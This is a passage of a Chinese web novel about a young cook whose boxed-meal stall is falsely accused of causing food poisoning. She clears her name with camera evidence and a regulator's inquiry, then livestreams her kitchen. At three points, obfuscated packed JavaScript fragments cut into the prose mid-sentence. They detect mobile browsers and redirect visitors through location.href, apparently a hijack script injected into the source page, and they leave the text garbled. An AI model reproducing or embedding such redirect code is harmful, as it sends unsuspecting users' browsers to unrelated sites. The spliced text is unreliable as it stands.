吃舒服了,抑郁情绪和压力就缩小了,大脑一轻松,下午案子里理不出的头绪突然脉络清晰了。 同一个小区,周小惠耳机里放着闹腾欢快的歌曲,啤酒鸭直接用手吃,快乐的身体都跟着旋律律动起来。 她现在的世界里只有吃饭和听音乐两件事,无比幸福,办公室里的破人破事仿佛已经离自己十万八千里远。啤酒鸭香的骨头都可以咂摸出滋味来,鱼香茄子拌在饭里,每一粒饭都透着光彩。什么样的厨师就能做出什么样的菜来,活力满满的厨师做的菜自然也能让人吃了活力满满。 周小惠发信息给她在华市唯一的好友:我今天吃到了一份特别特别好吃的盒饭,原本上班很不开心的,现在觉得那些事不值一提。 好友回过来:发张照片来。 周小惠回:吃光了,明天给你发。 好友秒回一张照片,是她拎着的一个馒头:还以为你说明天给我带呢。看见没,这是今天的晚饭。 周小惠嘴角都咧到僵硬了,快速发过去:行,明天要是买得到我买两份,一份给你送来。 好友:我开玩笑的,太远啦。我吃馒头就当省钱了。 周小惠很坚定:不,我一定要让你尝尝。 偌大的华市,有一个能说话的人不容易。周小惠的目的很简单,她只想让她的朋友下班后也能吃到这么好吃的盒饭。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12881316|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,很明显有人眼红! 朱莉是趁着红烧肉开始小火慢炖了,才抽空掏出手机看了眼那个中年男人有没有回她信息,没回,接着才看到群里的消息,问她是不是真的,也看到了单雨晨和盛雨晴在群里帮她说话。 “假的。我店里灶台的皮线是绿色的,而且根本接触不到菜。”朱莉还上传了店里灶台的照片。 可以清楚地看到她的灶台是嵌入式的设计,上面只能看到火眼,哪来的蓝色皮线。 批发市场的业主群里也闹开了,自己就是老板,店里生意少的时候刷点视频也没人管他们。蓝色皮线的视频被人转发到了群里。 ‘是我们中午点的那家吧,还吃不吃啊,我现在胃里翻腾的难受。’ ‘就吃了没几天,哎呀不靠谱,还是自己烧吧,麻烦点,最起码自己吃着放心。现在除了自己烧的,外面的吃的都不安全。’ ‘我去他们的小店看过,蛮干净的,盛菜的时候头套手套口罩都戴着,应该不会吧。’ ‘春苗你还专门跑去看过了呀,你可真够细致的,那我们中午还点吗?不过出了这种事,我中午吃着总归心里不舒服,今天还是自己烧吧。’ 李春苗对中午点不点也有些犹豫,她现在都习惯叫外卖了,再拿着锅子到厕所接水洗菜烧菜,她同样吃不进去,再说她那锅子估计好几天不用都有霉味了。 中午的外卖生意还是受了很大影响的,多亏了小蔡的提醒,朱莉今天采购的菜减少了四分之一。尽管这样,还是剩下了个底。 午休时间,朱莉收到了中年男人在评论区的回复:事情已经过去了,我大度不和你们店计较,算我倒霉。 朱莉在下面回复:呵,事情还没过去。 他在外卖平台给她差评,她可以睁一只眼闭一只眼,现在是他要发视频把事情搞大的,搞大就搞大,以为她朱莉是被吓大的嘛? 朱莉搜到九月十六号的外卖订单,找到电话号码保存好,现在还不是打这个电话的时候。 朱莉摘下围裙,和爸妈说了声就出去了。店里的监控就连在她手机上,她现在还有视频里中年男人的右手大拇指截图,和外卖平台差评里的截图,仔细看右手大拇指的关节处有颗小黑痣,再放大比对,不难认出就是同一只手。 也就是说,他在九月十三和十六号买了两次,都给出了差评,九月二十三号又点了外卖,说是吃出了蓝色皮线导致食物中毒还进了医院。 就在朱莉过个马路就要到派出所时,朱莉接到个电话,她接通,那边有个声音:“你好,朱莉是吗?” “对。” “不知道你还记不记得我,之前你在批发市场摆摊的时候,我的摊位就在你旁边,我是卖炒饭的,你还到我摊位上指导过。” 朱莉听着声音是有些熟悉,“我记得,有什么事吗?” “是这样,我刷到了网上那个食物中毒的视频,我听着视频里面的声音有些熟悉。” 25.第 25 章 朱莉马上想起来,“是市场那几个摊位里的人?” “嗯,听着像卖卷饼的。而且你之前也应该感觉到了,他对你的摊位很有意见。” 朱莉这边沉默了三秒,“非常谢谢你的提醒,他今天出摊了吗?” “出了。” 朱莉哼笑一声,“可真是勤劳,食物中毒还出来摆摊。” “需要我帮你做些什么吗?”李杰在电话里纠结要不要把这句说出口,他是良心上过不去才打的这个电话。这小姑娘人不错,被诬陷最后把店关了那太可惜了,但真要他做些什么,他也怕惹祸上身。 “不用,你打这个电话就帮了我很大忙了,谢谢。”朱莉回他。 挂断电话,朱莉回到厨房,她给爸爸看了眼截图上中年男人大拇指上的黑痣,让爸爸去批发市场那里买份卷饼,看那人是否大拇指上有颗痣。 朱春华正愁帮不到女儿什么呢,这事一定办好! 刘敏秀心更细,一看他这件灰色都洗脱色了的短袖就知道不是去批发市场批货的,两人回去挑了件黑色衬衫和一条黑色西装裤。 朱春华到了批发市场后,先是去市场里面走了一圈,接着从A1区大门出来,在煎饼摊位上看了看,又跑去对面卷饼摊位了,“老板,这卷饼可以放辣的不?” “当然,每个人口味不一样,我这里甜面酱和辣油都有,而且我这个辣油自己熬的,香。”生意来了,卷饼摊老板还算热络。不热络,那生意就成对面煎饼摊的了。 “那给我来一个。” 卷饼摊老板指着豆芽土豆丝胡萝卜丝,“这些都要吗?” “都要。” 在他卷饼的过程中,朱春华手机响了,是视频通话,出镜的自然是朱莉老妈,“货批好了没有?” “批好了,下午就发出来。” “那你现在在哪里,看着不像在市场里面嘛?” “肚子饿了,买个卷饼,买完就回去了,看着不错。”朱春华拿手机去照老板卷卷饼的画面,“你吃哇,吃么也给你买一个带回来。” “你吃吧,我不吃,中饭吃的现在还饱着呢。” “那炒面和煎饼馄饨吃哇,带回去正好晚饭都不用做了。”朱春华手机照了照其他摊位。 “晚上吃剩饭,倒掉多可惜。挂了。”刘敏秀挂了电话。朱莉在妈妈旁边给她竖大拇指,演技真好! 刘敏秀勉强扯出个笑容,“哎哟,我现在心跳都快得不得了。” 整段视频朱莉都是录屏的,她刚刚在旁边也已经看到了那个人大拇指上的黑痣。接下来要去市场监督管理部门提供证据。 这个人的视频下面好多都是要求他去各个部门投诉的,他不去,朱莉自己去好了。 当然,市场监督管理部门首先要对她的厨房进行全面盘查,确保不是她这边的问题,那就是恶意捣乱市场秩序了。 下一步就是对视频发布者手上的诊断结果“食物中毒”进行调查了,工作人员查到朱莉提供的号码和他们查到的卷饼摊老板办的流动摊贩经营证上的电话号码确实是同一个。 但是朱莉下午时间实在太紧张了,三点钟就要开始准备晚上的饭菜了。即使知道晚上生意会受影响,她这边还是必须得照常经营。有剩菜亏本都得正常经营。 其实市场监督管理部门挺不愿意管这种事的,麻烦琐碎,但视频上传到自媒体又是另一说了,现在这热度不算高,但自媒体流量捉摸不透的,再发酵扩大就变成他们部门不作为了。 现在朱莉都把该提供的证据提供了,只要一批人调查‘奇迹快餐’的卫生安全情况,再找医生问出他因为吃了什么而食物中毒就可以了,省了他们很多麻烦事。 此时的卷饼摊老板已从批发市场回到出租屋了。 他买了瓶烧酒,又去熟食店买了半只烤鸭,回到家把剩下的豆芽胡萝卜丝和豆皮热水里冲下倒点辣椒油充当凉菜。 儿子双手转动着轮椅过来,李兴德给他盛了碗饭放面前,“今天凉快,我闻着都没坏,放心吃。” 李兴德咪一口烧酒,给儿子夹了只鸭腿,自己拿了只鸭头啃,另一只手往下翻视频评论,露出得意一笑,就在这时他接到了个陌生电话。 朱莉将三轮车骑到小区门口,还是老位置,意料之中没有了昨天的长队伍。 大爷大妈们今天也在,他们有人背着手,有人拎着茶杯背着手,走到朱莉摊前,“小姑娘,今天我们不买了,你那个视频里的是真的吗?” 朱莉说:“假的,我已经联系了市场监督管理部门,调查结果应该明天或后天就能出了。” 大爷大妈们还是不相信,“这么说,是人家诬陷你?” 朱莉点头,“嗯,是。” 其他她也不多做解释了,她今天都做好亏本的打算了,大爷大妈们不买就不买吧,还能逼着人家买不成,追着人家解释不是她的做事风格。 周老师依旧是将银发盘起,一丝不苟,穿着印花的丝绸衬衣,拎着饭盒从大门口出来。大爷大妈们都喊她周老师,她也和他们每个人都点头微笑打招呼。 周老师走到朱莉的三轮车摊位前,她出声不紧不慢:“老板,一份不要回锅肉和鱼香茄子,一份不要啤酒鸭和鱼香茄子,其他都要。还是盛这两个饭盒里。” “好嘞,这就帮您盛。”朱莉先接过一个,盛完递给周老师再盛另一个。 旁边的人叫了声:“周老师……”后面的话说出来那不就砸人家生意嘛,不说又不忍心眼看着周老师买这家卫生安全都有问题的盒饭。 周老师的儿子三十年前因公被歹徒刺伤,双腿瘫痪,一直都是老两口在照顾。这事小区里的人都知道,所以都很尊敬他们。加上周老师退休前就是在学校教书,大家都习惯喊周老师了。 有个大妈忍不住过来趴在她耳边讲,“周老师,这家不干净,都把人吃出食物中毒进医院了。” 这声音响的站朱莉这个位置都听到了,谣言就是被这么传出来的,挡她财路,管她是年长几十岁的长辈还是小孩。 “大妈,我也算是当事人吧,我都站你面前了,我说是假的,调查结果明天或后天就会出来。我厨房里是嵌入式大锅,根本就接触不到皮线。你不买也别给我瞎传好吧?” 这大妈可能也没料到这小姑娘有这么一长串话等着她,一时竟不知道说什么。 周老师只是笑笑:“相信老板吧。” 大妈不回嘴憋着难受:“那你刚刚怎么不早说?” “我说调查结果明天或后天出,单凭我嘴上解释你会信吗?” 44路公交车到站,几个年轻人下班,看着三轮车摊位上没什么人就径直来排队。其他大爷大妈在一旁,背着手,不插话也不参与。 白承飞和室友也在队伍中,这个情况他们早就料到了。现在这种事情太多了,互联网上声音真真假假,不如信自己感觉来的靠谱。 摆了一个小时,朱莉这边还是每个圆桶里都剩下了点菜。厨房里也剩了些。 朱春华和刘敏秀也愁,但他们愁的方式是不说话,女儿晓得怎么处理就好,话说多了解决不了任何问题,只会脑子边嗡嗡,思维越来越乱。 回厨房的路上,朱莉接到电话,市场监督管理部门的工作人员给她打了电话,说医生诊断黄曲霉菌中毒,只有豆制品中含有黄曲霉菌,和皮线没有关系。具体见面协调。 朱莉赶去的地方是一个十几平米的小平房,工作人员从医生那拿到详细报告后就给李兴德打了电话。李兴德非说豆制品也吃到了,皮线也吃到了,而且也不配合来他们办公室。 工作人员站在门口,旁边几间平房的租客站在周围看热闹,李兴德就是坐在桌边不肯动。 工作人员见朱莉过来,这才进去和李兴德协商。 进了门,十几平米的房间用三夹板隔成两间,透过玻璃门看到一个十几岁的男孩坐在轮椅上。男孩的轮椅停靠在一张狭窄的行军床边,背对着他们。 工作人员这边,将朱莉提供的证据和从医生那拿到的详细报告都打印成了纸质,证据是很足了,给予现金五百的处罚,其他再由两人协商。 李兴德就是耍无赖不承认,“五百?五十都没有,反正我就是吃他家盒饭吃出毛病来了,她不赔我钱还要我赔她钱,这是什么世道。你们国家干部和她两个串通欺负我们贫苦老百姓是吧?” 工作人员可能是这种人碰到的多了吧,语气已十分淡定,“这不是你说冤枉就冤枉的,你的动机很明显,证据也确凿。不配合我只能吊销你的流动摊位经营证了。” 闻言李兴德才稍微抬了下眼,他冷笑了两声,“吊销就吊销,你们帮我养儿子!我儿子的腿是怎么瘫痪的你们知道嘛,他去救个小女孩,小女孩一点事没有,他自己腿被车压过去了。好了,一辈子完蛋了。怪只怪我!我不应该教他做个好人!人家要撞就撞,关他什么事。现在人家跟没事人一样过日子,我们家呢,我儿子呢?” 自此后,李兴德就是见不得人好。好人没好报,好人只有吃亏的份,那还做个好人干什么? 他看着那个三轮车小摊生意好不顺眼,抢他生意就是要给她点颜色看看。 “吊销执照,我儿子后半辈子你们来养!”他又来了一句。李兴德愤懑地拍着桌子,又指了下儿子。 李兴德在抱怨命运不公的时候,朱莉观察周围,煤气灶就在进门角落里,蓝色的沾满了油烟的皮线,她拍了张照片。 工作人员头疼,今天遇到的是什么事儿啊! “如果你家需要帮忙,我帮你联系福利部门。但你儿子的事和这位老板没关系,我们现在说的是你发视频诬陷吃她家的盒饭食物中毒的事,两码事。” “什么两码事,她让我钱赚得少了,我怎么攒钱养我儿子?” 车轱辘话说下去没用,这个人的思维已经常年陷在死胡同了,朱莉也不想再浪费时间,“照片我已经拍了,反正我证据网上一放,明眼人都清楚怎么回事。要么,你交完罚款,发视频说清楚怎么回事,可以不露脸,要么我找律师,拖个半年一年我也拖得起。” “你找律师好了,我还怕你一个小姑娘了?” 玻璃隔间里,男孩脸色惨白,满脸细密的汗,朱莉叫了声工作人员,打开玻璃隔间的门,男孩都快要从轮椅上倒下去了。 一个工作人员要拨打120叫救护车,另一个立马说这里离医院挺近送过去更快。 两人合力把男孩背起,工作人员气不过,来了句:“你别跟我说又是吃的她家盒饭!” 李兴德咬着牙关不说话,却是跟在两个工作人员后面上了车。 朱莉只好打车过去,她回头看了眼这十几平米的小平房,隔壁几家的邻居还在外面看着,“你们让他赔什么钱,他们家也是可怜的,儿子被车撞了已经好几年不能走路,女儿刚刚大学毕业,一分钱都拿不出来的。” “你觉得他们可怜还在门口看什么热闹?”朱莉丢下这一句后就去医院了。 “黄曲霉菌中毒。”医生告知检测结果,“过期的豆制品不能吃。” 来的人应该是李兴德老婆,短发微胖,她气的打起李兴德来,“卖不掉的豆皮跟你说不要吃不要吃,偏不听,小凯要是出什么事我跟你没完。唉呀,我们家怎么那么倒霉啊……”女人骂完又哭起来,整个走廊都能听见她的声音。 工作人员也头疼,今天已经严重超出他的下班时间,问题还是这么无语的事情。他们只好和朱莉商量。发视频道歉这点朱莉不退让,罚款肯定也要罚,但可以降到两百。 罚款多少朱莉没意见,罚了这钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12896760|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也到不了她头上。她此刻要解决的就是眼前这件事,诬陷食品安全对一家刚起步的餐饮店绝对是零容忍,不把源头解决以后的生意都不好做。 工作人员又去和李兴德协商。 他“哼”了声,“没钱!让我发视频,你当我傻?自己找骂?” “那我找律师告你诬陷,打个半年一年,钱方面我不担心,你到时候请个律师的钱可远远不止两百。” 中年女人急得眼泪又要出来了,“不能打官司!我女儿在考公务员,不能打官司呀!两百他不赔我来赔,你们要发什么视频我代他发行吗?” 接下来便是他们夫妻俩在医院楼道里的歇斯底里,被医生出来制止。 最后李兴德同意发视频道歉和交两百罚款。 从医院出来,工作人员说明天会出具调解书,朱莉另外拜托了他们件事,希望由他们出面联系F区的残疾人帮扶部门,最好是能直接给予那个男孩子帮助,看能不能让他学个能赚钱的手艺之类的,先养活自己,日子才能过下去。 稍年轻的工作人员点头应着,“这事儿我来后面跟进。” 朱莉看了眼时间,八点二十,事情算是解决了,心情总归受些影响。厄运不会挑好人或坏人降临,但任凭堕落下去只会让日子过得更可悲。越是这样,越要挺起精神来做人啊! 朱莉去手机店买了个一千两百块的手机。她本来都想买个八百块的,但是一千两百的像素更高些。买完手机回来,绑定厨房监控和手机上的短视频直播软件。 她跟爸妈说:“明天开始洗菜做菜和打包环节都通过摄像头直播出来。” 这点朱春华和刘敏秀都赞成。 “这样最好,看他们还怎么挑出毛病来。” 第二天一早,朱莉去菜市场采购,还是昨天的量。蔬菜摊的大姐边给她拿袋子装边问:“还没解决?” “解决了,现在正在等调解书,那个人也答应发视频说清楚。” “我就说肯定是看你生意好,眼红。做生意就这样,反正什么奇奇怪怪的事情奇奇怪怪的人都会碰到。我是一直相信你的。” 自从‘奇迹快餐’开通外卖以来,她也几乎每天中午都点,好吃还方便,要不然每天插着电锅自己烧,麻烦而且烧的也不好吃。 小朱的菜都是从她这边买的,精神足,买菜爽快,说话爽快,做着厨房的工作,手干干净净,不留长指甲不染指甲,她做的都有安全问题,那外面餐馆一家都不用开好了。所以她是一点都没怀疑过朱莉的。 一直等到中午十二点,调查报告和调解书才发过来,澄清视频也发出来了。 中午十二点半,朱莉在自己新注册的‘奇迹快餐’短视频账号上发布了第一条视频,前面是几张截图,接着是医生诊断说明,市场监督管理部门的纸质调查结果,厨房灶台外观照片和小平房煤气灶上裸露在外的蓝色皮线照片,并说明以后都会在短视频平台上直播厨房工作流程。 来龙去脉解释的清清楚楚,再加上会开直播,朱莉这边的卫生安全问题是解决了。 视频上传后,朱莉就不管了,调查结果清清楚楚。她不太爱经常拿着手机,有这些时间还不如眼睛多往厨房各处扫扫,有哪些需要改进的地方。 但是看到视频的人就不淡定了,‘奇迹快餐’账号发布的第一个视频下面,一下子涌现了很多评论。 在网上发言习惯了的在那条十五秒视频下面大骂一番后,又转去‘奇迹快餐’的账号下面发言了。 当然,这些其实就是原先骂‘奇迹快餐’的人。 ‘生意好了就遭人嫉妒,支持店主,以后点外卖就点这家了。’ ‘店主好刚,有人诬陷就直接找市场监督部门,说明他们的食品卫生真的没有问题,现在很多店家都不敢这么做。’ ‘差点冤枉了好人,那人也太恶毒了吧,生意比不过就冤枉人家。’ ‘现在这种人多了去了,有些人真的是你想象不到的坏,你都找不出理由,他就是单纯想整你。’ ‘唉呀,这个社会怎么了,我感觉我看待这个世界都悲观了。’ ‘楼上不要这么想,还是有很多正能量的,店主不就积极面对了嘛。’ 朱莉的视频发布没多久,单雨晨也看到了,她一定要发条评论:我一直坚定不移站在朱莉这边,今天中午的啤酒鸭还是一如既往的好吃。 发完马上喊同事:“婷婷艾伦,快去关注朱莉的账号,就是他们的店名,朱莉还发了视频,那个人超坏,外卖评价上的差评也是他发的。” 婷婷放大截图,“哇,朱莉真是福尔摩斯啊,这都能被她发现。” “现在我是完全放心了,说实话中午吃的时候还是有点膈应的。” 办公室里也有中午没点的,毕竟是吃进嘴巴里的东西,凡是有一点膈应吃进去胃里都会不舒服的,现在看到确凿的证据后就可以放心点了,“唉呀,我中午就吃了一块面包,现在好饿。” 单雨晨还把短视频转发到了他们以前订餐的群里,都是一个写字楼的,只不过朱莉开通外卖后这群很久没有活跃过了。 同一个写字楼里,因为这件事不少人中午就没点,他们心里相信,可抵不住生理上的排斥。现在在群里都活跃开了。 “我家住的近,晚上就点一份,两天没吃都想了。” “我住得远,只能晚上看直播支持了。” “天呐,开直播啦,那不是得更多人知道了,我们中午还点的上嘛?” “预感会大火,我们又得开闹钟订外卖了。” “大火是早晚的事。就怕开了闹钟都订不到。” 有人@朱莉,“@朱莉,我们算是最早一批食客吧,以后能不能单独给我们留一份。” “想得美,做梦吧你。” 26.第 26 章 下午三点,朱莉把厨房的两个摄像头打开,一个照着朱莉的工作区域,一个照着打包区域。 朱莉和爸妈平时工作都是头套口罩手套戴齐全的,工作习惯一点不需要改。前十分钟有些拘束,后面忙起来都把摄像头给忘了。 朱莉和爸妈分工不同,他们洗菜,她负责荤菜这块。 手机就放在墙角的置物架上,朱莉只要一开始工作就会保持高度集中,心里眼里只有正在做的这道菜,根本不会去想置物架上的手机,更不会想到去看人家的评论。 也可能跟从事的行业比较传统有关,朱莉这人就不太喜欢去接触电子产品,接触是因为实在不得已。 朱莉先炖的梅干菜烧肉,监控里两块砧板一样大的五花肉,没费多少功夫就切完了,有人眼睛凑近屏幕看,实在忍不住要打段字,“这是怎么做到每块肉都同样大小,还速度这么快的?” 下面评论:“拿尺子量都没那么精准的。” “哇天呐,这功夫要练多久啊?我切块肉都得刀在肉上来回比划好几下才决定下一刀。切完还是有大小。” “好想拥有老板手上那把刀,感觉切肉特别快,没有一刀是浪费的。” “有没有可能不是那把刀多厉害,是老板厉害。不瞒你们说,太锋利的刀我都不敢使,怕割伤自己手。注定干不了厨房工作。” 这个点,上班族都在办公,想看也没时间,只有自习室里学习的人时间比较自由些,盛雨晴和自习室里几个人守着三点点开直播。一是看看人气,朱莉首次开直播自然是要支持下的,一个是也真的好奇,想看看朱莉的厨房什么样。 看完人气有三百多,放心了,第一天嘛。再看会儿,原来厨房长这样,原来工作流程是这样的。 “看朱莉这么忙,我也加油背书去了,不努力都不好意思。” “呜呜呜,我不想做英语阅读理解了,好难啊,感觉洗菜切菜好治愈。” 单雨晨忙里偷闲,手像装了弹簧似的连点了两百多下赞,一边点一边看监控里的厨房环境,干干净净,可以说是一尘不染,朱莉果然没让她失望,甚至还是惊喜。 一个人点赞不够,她还把直播间转发给了奶奶,不介意奶奶转发到小区业主大群里。 远在偏僻药厂的陈佳乐躲在大概有她一个半人高的箱子后面,摘下劳保手套,短暂点开了几秒看下。那件事情的负面影响不小,她挺担心这家店倒的。 自习室和这家店都是她精神支柱一样的存在,她在自习室里和其他人一起学习,备考,大家互相尊重,发出一点点声音都会自责是否影响到了大家的学习。‘奇迹快餐’给她的感受就更简单明了了,对生活的尊重,有人在认真地准备一餐饭,不是应付了事。 观看人数四百就放心了,戴上手套,拿起剪刀继续拆箱子。 明珠小区这边,老人家的时间最多了,关注食品安全那是头等大事,两点半开始业主群里就有人在提醒别忘看了。 每隔几分钟就提醒一次,两点五十八分了,群里语音刷刷刷发出来,就好像有什么大事要发生一样。 监控镜头出现了,第一件事一定是把厨房角角落落都仔仔细细看一遍。老人家眼里的干净往往比年轻人要苛刻得多。饶是几十年都习惯性带着挑刺的眼光看人看事,张嘴就是哪里不好,也挑不出这厨房的问题。 洗菜仔细利索,洗完沥水这一步工序是他们没想到的,看来这比他们自己在家洗还讲究。 洗菜这一步能做到这样,后面还担心什么呢。 明珠小区业主群里: ‘大家晚上好去排队了,别去晚了排不到。’ ‘她那个沥水的转圈圈的哪里买的,我也去买一个。’ ‘这个我家老早就用上了,网上就有卖,等一下,我看看怎么发给你。’ 批发市场生意最多的时候是上午九点到下午两点,这个时候基本没什么人了,盘完货就可以关店回去了。盘货要专心,但自己的店又没人管,先打开看会儿,他们最主要关心的还是卫生安全问题。 尽管中午已经看到了截图,他们也完全相信这些截图的真实性,毕竟关系到吃进肚子里的,亲眼看下心里更踏实。 这回不仅在直播评论区里留言了,店主群里也聊开了。 ‘这下是完全放心了,以后中午只点这家了,再也不自己烧菜做饭了。我终于解放了。’ ‘我也不打算烧了,两份饭也要不了多少钱,比我自己烧的不知道好吃多少倍。’ ‘我看那熟练程度,不做酒店大师傅可惜了。’ ‘我老早就去看过厨房了,就说是没问题的。’ ‘不和你们说了,我去看看她这个梅干菜烧肉到底怎么烧的,回家也试试看。’ 两个锅一齐整。左边的锅先把五花肉煸香,肥肉部分多余的油脂煸出去,多余的猪肥油舀一点到旁边锅里,正好把浸泡好的梅干菜给煸干煸香的。猪油煸过的梅干菜更加香,颜色更亮。 做菜不仅是手上功夫,所有感官都得利用起来。朱莉闻着梅干菜那股干香味,确定里面的水汽都蒸发干了关火。左边的五花肉加黄酒老抽生抽去腥提色提味,倒入开水,沸腾后将右边锅的梅干菜铺上去,接着盖上盖子炖就行了。 大锅菜对某个年龄阶段的人有别样的吸引力。 要做锅包肉的猪里脊同样被朱莉切的厚薄均匀,刀刀既快又准。朱莉转身在后面桌上拿过淀粉盆子,倒掉上面一层水,将淀粉糊糊倒进放里脊肉的盆里。 里脊肉分批裹上淀粉浆液。她要确保每一片裹住的量都均等,炸出来不会有些片的脆皮薄,有些片的厚,相当影响口感。师父说过,下油锅前裹住的那层浆液都做不到厚薄不均,炸出来自己吃下去,别往外端,丢人! 上了浆的里脊肉下油锅初炸炸熟定型,复炸使外皮更脆,全部炸完放旁边沥油。 由于要拿出去卖,糖醋汁裹在脆皮上的时间长会失去脆的口感,朱莉把糖醋汁分开存放,待会去摊上顾客买的时候再给他现浇上。 全部菜准备好装上车,这时朱莉才拿起角落桌上的手机,粗略看了眼评论,就说:“感谢大家的关注和支持,我现在要出发去摆摊没办法直播了,外卖订单是我爸妈在打包,有需要的朋友现在可以下单了。” 朱莉把手机拿走了,只是放口袋里她也不看。开通直播前她也和爸妈说了不用去关注店里的直播,肯定是什么声音都有,看多了占大脑空间。 朱莉开这个直播间的目的就是把这次恶意诬陷的影响降到最小,借助流量这些都靠后。她现在只有一个小厨房,流量大不是好事。 骑着三轮车到到明珠小区时,大门口的队伍一直从马路牙子排到保安室。她一停下车子,整排队伍都移动起来了。 小区里可不只有大爷大妈,业主群里还好多平时不发声的业主呢,现在大数据可厉害了,只要信息网络有重合,别人都在看的直播一定推送给你。 他们一声不响浏览业主群信息,刷到直播安安静静看了几十秒,晚上想吃了就一声不响来排队,这样的人反而占多数。 锅包肉是必点菜,眼睛盯着圆桶里满满当当酥脆又金灿灿的锅包肉,真的好想伸手去抓一块来吃,啊,馋死了。 待老板将一勺糖醋汁浇到锅包肉上时,嘴巴都随之张大了,眼睛里除了那几块肉根本就看不到别的。 “老板,你再给我单独打包一份锅包肉吧。” 即使不住在明珠小区,人在F区赶过来都挺方便, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12909291|134963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间自由的四点多就从家里出发了。蓝色皮线的视频撤下去后,赵梦的视频又迎来了一波流量高峰。因为她现在是唯一发过‘奇迹快餐’盒饭的博主。 赵梦下午忙完工作重新登上自己的短视频账号,粉丝不降反而涨了六千。她退出自己的界面下一个视频就跳出来一张特别熟悉的截图,一看账号是‘奇迹快餐朱莉’,再看后面几张截图,现在还是在直播状态。原来在她退出登陆的时间里,人家老板做了这么多事。 赵梦自惭形秽,说老实话,这个麻烦是自己给老板捅出来的,事情大了自己只会退网逃避,老板这么短的时间里就把事情解决了。她捧着手机,心情有些复杂。 自己这点心理承受能力做得起账号吗?亏她本职工作还就是新媒体呢。 座位上坐了会儿,她认为自己应该向老板学习,迎难而上,积极解决问题。 前面几分钟还在为以后都不好意思去摊位上买盒饭而心情抑郁,换了一种方式后就豁然开朗了。今天是来不及了,现在赶过去人老板早就卖光了。 今天要想吃到的办法只有一个,网上点外卖送到小慧住处,她手上工作做完马上赶过去,这样还能再录个视频发上去。既然决定好好做账号了,两天一期,一期也不要落。 周小惠在赶回家的路上,“点外卖到我这儿来吃,要不今晚就睡在我这儿吧,赶来赶去太麻烦了。正好我们晚上聊聊天,我真的受不了这个工作了……” 赵梦挂了电话马上打开外卖软件,现在五点五十,已经显示库存紧张了,有几个荤菜和素菜都卖光了。她紧张的手都发抖了,就怕自己点不上,等到付完钱才大大舒了口气。 朱莉在盛最后一份盒饭的时候,还是不时有人过来排队,她只好一遍遍跟人家说,“今天的菜卖完了,你们可以点外卖,店名就是‘奇迹快餐’。朱莉给人家指了下灯牌上的几个字。 来人停下叉着腰,“我们就是外卖没订到才赶过来的,唉呀,还是来迟了。” “我在直播里看到你们那个厨房很干净,菜看着也不错,看的我都饿了。谁知道就打个电话的功夫再去点外卖,都卖完了。” “我也是看了直播过来的,隔着屏幕都感觉好香。” “老板,你明天多做点啊,直播观看人数一千,做再多都不愁卖啊。” 朱莉笑盈盈回应:“欸好嘞,我明天会多做点。”心里在想,这人真是不做生意不知道柴米油盐贵,不知道我这两天少赚了多少嘛,今天人再少点,做多了亏了算谁的。不过照这个形势,明天量可以加上去了。 张彩华和外孙女拎着两份盒饭到家,外孙女急着洗手吃饭,张彩华放下钥匙便去点燃了一根香,对着老伴念叨,“你可别怪我又去买盒饭了啊,这家味儿真心不错,干净又卫生,你肯定也喜欢。还记得前两年我们一起去东北旅游吧,也吃了锅包肉,那味儿也好,回来你还给我连做了一星期呢。” 张彩华打开手机相册,“蕾蕾块头又大了些,小孩子真是一天一变样,你看看,我拍的时候眼珠子咕噜咕噜盯着我看。” 心乐现在想不出和姥爷说什么话,她心里眼里只有锅包肉。姥姥不坐下,她也不好吃啊,急得手指把校服衣摆都捏皱了。 当锅包肉真的吃进嘴里时,她享受地摇起了头,“真——好吃啊!姥姥,比汉堡还好吃!我太喜欢这个酸酸甜甜的酱汁儿了,蘸鸡块一定也很好吃!” 心乐是亲眼看着老板把那一勺酱汁浇到肉上的,觉得又新奇又好玩,一块锅包肉两口饭,吃的她完全忘了自己是不爱葱丝的。 “别只盯着锅包肉,梅干菜烧肉也吃啊。”张彩华提醒外孙女、 “嗯!姥姥,明天我还要吃这家,后天大后天也要,天天吃这家都可以!” 27.第 27 章 “昨天的直播我也在看,小朱,姐虽然没见过其他厨师工作时候怎么样,但瞧你这架势和做出来的味道,你的店要做大是早晚的事。“姚玉把朱莉要的所有蔬菜都放到大的蓝色塑料袋里。 朱莉接过,“那借姐吉言了,说实话,我也觉得我菜做的不错。”她笑起来弯弯的眼睛只剩条缝,姚玉感觉像被太阳照亮。 好似习惯了人与人之间的客套和自己都不愿意承认的虚伪,朱莉的回答令姚玉愣了下,因为她原本准备的回答是——你这样的都谦虚,我的水平只好说不会做菜了。 很快姚玉反应过来,“这就是实话!我吃过的所有饭店里的菜都没有你做的好吃。” 